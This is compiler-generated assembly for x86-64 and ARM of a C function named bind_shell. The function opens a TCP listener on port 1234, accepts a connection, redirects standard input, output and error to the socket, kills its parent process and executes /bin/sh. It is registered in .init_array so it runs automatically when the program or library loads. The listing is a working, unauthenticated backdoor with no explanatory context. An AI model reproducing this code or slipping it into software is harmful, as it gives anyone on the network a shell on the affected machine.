	.file	"741473.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"/bin/sh"
	.text
	.globl	bind_shell
	.type	bind_shell, @function
bind_shell:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edx, 0
	mov	esi, 1
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -44[rbp], eax
	mov	WORD PTR -32[rbp], 2
	mov	edi, 1234
	call	htons@PLT
	mov	WORD PTR -30[rbp], ax
	mov	DWORD PTR -28[rbp], 0
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -44[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	bind@PLT
	mov	eax, DWORD PTR -44[rbp]
	mov	esi, 0
	mov	edi, eax
	call	listen@PLT
	mov	eax, DWORD PTR -44[rbp]
	mov	edx, 0
	mov	esi, 0
	mov	edi, eax
	call	accept@PLT
	mov	DWORD PTR -40[rbp], eax
	cmp	DWORD PTR -40[rbp], 0
	jle	.L5
	call	fork@PLT
	mov	DWORD PTR -36[rbp], eax
	cmp	DWORD PTR -36[rbp], 0
	jne	.L3
	mov	eax, DWORD PTR -40[rbp]
	mov	esi, 0
	mov	edi, eax
	call	dup2@PLT
	mov	eax, DWORD PTR -40[rbp]
	mov	esi, 1
	mov	edi, eax
	call	dup2@PLT
	mov	eax, DWORD PTR -40[rbp]
	mov	esi, 2
	mov	edi, eax
	call	dup2@PLT
	call	getppid@PLT
	mov	esi, 9
	mov	edi, eax
	call	kill@PLT
	mov	edx, 0
	mov	esi, 0
	lea	rdi, .LC0[rip]
	call	execve@PLT
	jmp	.L5
.L3:
	mov	edi, 0
	call	wait@PLT
.L5:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L4
	call	__stack_chk_fail@PLT
.L4:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	bind_shell, .-bind_shell
	.section	.init_array,"aw"
	.align 8
	.quad	bind_shell
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"741473.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/bin/sh\000"
	.align	2
.LC1:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	bind_shell
	.syntax unified
	.arm
	.fpu softvfp
	.type	bind_shell, %function
bind_shell:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	ldr	r3, .L6
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-36]
	mov	r3, #2
	strh	r3, [fp, #-24]	@ movhi
	ldr	r0, .L6+4
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-22]	@ movhi
	mov	r3, #0
	str	r3, [fp, #-20]
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-36]
	bl	bind
	mov	r1, #0
	ldr	r0, [fp, #-36]
	bl	listen
	mov	r2, #0
	mov	r1, #0
	ldr	r0, [fp, #-36]
	bl	accept
	str	r0, [fp, #-32]
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	ble	.L5
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	bne	.L3
	mov	r1, #0
	ldr	r0, [fp, #-32]
	bl	dup2
	mov	r1, #1
	ldr	r0, [fp, #-32]
	bl	dup2
	mov	r1, #2
	ldr	r0, [fp, #-32]
	bl	dup2
	bl	getppid
	mov	r3, r0
	mov	r1, #9
	mov	r0, r3
	bl	kill
	mov	r2, #0
	mov	r1, #0
	ldr	r0, .L6+8
	bl	execve
	b	.L5
.L3:
	mov	r0, #0
	bl	wait
.L5:
	nop
	ldr	r3, .L6
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L4
	bl	__stack_chk_fail
.L4:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L7:
	.align	2
.L6:
	.word	.LC1
	.word	1234
	.word	.LC0
	.size	bind_shell, .-bind_shell
	.section	.init_array,"aw",%init_array
	.align	2
	.word	bind_shell(target1)
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
